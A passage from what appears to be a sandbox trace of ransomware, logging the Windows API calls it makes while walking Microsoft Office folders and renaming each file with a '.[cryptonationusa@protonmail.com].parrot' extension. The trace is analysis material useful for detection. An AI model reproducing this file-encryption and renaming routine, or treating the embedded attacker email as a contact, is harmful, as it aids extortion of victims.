dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.982] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x638, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x638, lpOverlapped=0x0) returned 1 [0186.982] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.991] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0186.991] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb7ab560, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb7ab560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.992] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb0ad4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x15e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CALEND~1.PAR")) returned 1 [0186.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0186.993] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0186.993] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.993] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0186.993] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0186.993] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0186.993] lstrcmpW (lpString1="groove.net", lpString2=".") returned 1 [0186.993] lstrcmpW (lpString1="groove.net", lpString2="..") returned 1 [0186.993] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0186.995] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0186.995] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.996] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0186.996] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0186.996] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0186.996] lstrcmpW (lpString1="Calendar", lpString2=".") returned 1 [0186.996] lstrcmpW (lpString1="Calendar", lpString2="..") returned 1 [0186.997] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0186.999] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0186.999] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.999] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0186.999] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0186.999] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4b62000, ftLastWriteTime.dwHighDateTime=0x1ca0408, nFileSizeHigh=0x0, nFileSizeLow=0x3424, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0187.000] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.000] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.001] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.001] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3424, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3424, lpOverlapped=0x0) returned 1 [0187.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.057] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.058] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.059] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.059] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc38, lpOverlapped=0x0) returned 1 [0187.060] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.067] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.067] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.068] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.068] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3fa2, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3fa2, lpOverlapped=0x0) returned 1 [0187.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.077] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.079] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.079] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b49, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1b49, lpOverlapped=0x0) returned 1 [0187.080] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.087] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.089] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x778, lpOverlapped=0x0) returned 1 [0187.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.096] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfb8b5f00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfb8b5f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.096] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b62000, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7d16c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3548, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CALEND~1.PAR")) returned 1 [0187.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.099] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0187.099] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.099] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0187.099] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0187.099] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0187.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.100] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.102] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.102] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44c9, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x44c9, lpOverlapped=0x0) returned 1 [0187.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.111] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.112] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.112] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c6e, lpOverlapped=0x0) returned 1 [0187.113] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.119] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.119] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.121] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.121] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3356, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3356, lpOverlapped=0x0) returned 1 [0187.123] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.129] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.129] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.131] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.131] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c70, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c70, lpOverlapped=0x0) returned 1 [0187.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.138] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.148] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.149] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f79, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2f79, lpOverlapped=0x0) returned 1 [0187.150] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.158] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 